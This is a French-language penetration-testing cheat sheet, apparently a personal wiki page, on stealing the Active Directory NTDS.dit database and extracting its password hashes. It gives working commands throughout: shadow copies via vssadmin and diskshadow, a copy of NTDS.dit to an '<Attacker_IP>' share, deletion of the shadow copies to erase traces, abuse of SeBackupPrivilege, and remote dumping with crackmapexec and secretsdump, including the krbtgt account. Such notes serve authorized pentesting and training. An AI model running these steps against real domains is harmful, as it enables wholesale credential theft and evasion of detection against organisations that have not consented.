NTDS.dit
Dump d'NTDS.dit
Localement
Cliché instantané (vssadmin)
Créer une Shadow Copy (cliché instantanné) du disque C
La base NTDS.dit est par défaut stockée dans C:\Windows\NTDS
vssadmin CREATE SHADOW /For=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
Successfully created shadow copy for 'C:\'
Shadow Copy ID: {186d5979-2f2b-4afe-8101-9f1111e4cb1a}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
Copier à partir du cliché instantanné
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit \\<Attacker_IP>\share\
Cliché instantanné (diskshadow.exe)
Créer une Shadow Copy (cliché instantanné) du disque C
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
exit
Effacer ses traces : après avoir copié ntds.dit (ou autre) on pourra supprimer le cliché instantané ainsi que son exposition via le lecteur E:
diskshadow.exe
unexpose e:
list shadows all# affiche la liste des snapshots si on n'a pas noté l'ID lors de sa création
DELETE SHADOWS Exposed E:
# ou
DELETE SHADOWS SET {446f7942-bd76-41a9-aff7-d7c854abe93f}
Copier à partir du cliché instantanné
Remarque : Si le fichier n'est pas accessible et que l'on est membre du groupe Backup Operator, on pourra y accéder via le privilège SeBackupPrivilege (voir [[Exploitation des privilèges Windows]])
# cas 1 : Robocopy "sait" utiliser le privilège SeBackupPrivilege
robocopy /B E:\Windows\NTDS .\ntds ntds.dit
# cas 2 : sans robocopy, ce cmdlet est lié à un outil référencé dans le lien ci-dessus
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Création d'une sauvegarde via ntdsutil (non testé)
Le fichier créé dans ce format pourra par la suite être exploité pour fournir des métriques sur différents éléments liés aux mots de passe et leur robuster via l'outil Domain Password Audit Tool (DPAT) https://github.com/clr2of8/DPAT
ntdsutil "ac in ntds" "ifm" "cr fu c:\temp" q q
A distance
## utilise à distance ntdsutil
nxc smb ip -u user -p pass -M ntdsutil
crackmapexec smb $TARGET_IP -u $AD_USER -p $AD_PASSWORD --ntds
secretsdump.py -just-dc-user $AD_DOMAIN/krbtgt $AD_DOMAIN/$AD_USER:$AD_PASSWORD@$TARGET_IP
Extraction des informations d'identification (credentials)
Localement
Extraction des informations présentes dans NTDS.dit via DSInternals
# https://github.com/MichaelGrafnetter/DSInternals/releases/download/v4.12/DSInternals_v4.12.zip
PS C:\htb> Import-Module .\DSInternals.psd1
PS C:\htb> $key = Get-BootKey -SystemHivePath .\SYSTEM
PS C:\htb> Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
A distance
Extraction des hash d'un dump NTDS.dit via secretsdump.py
Prérequis : disposer d'NTDS.dit et du dump SYSTEM via reg save HKLM\SYSTEM SYSTEM.SAV
secretsdump.py -ntds ntds.dit -system SYSTEM.sav -hashes lmhash:nthash LOCAL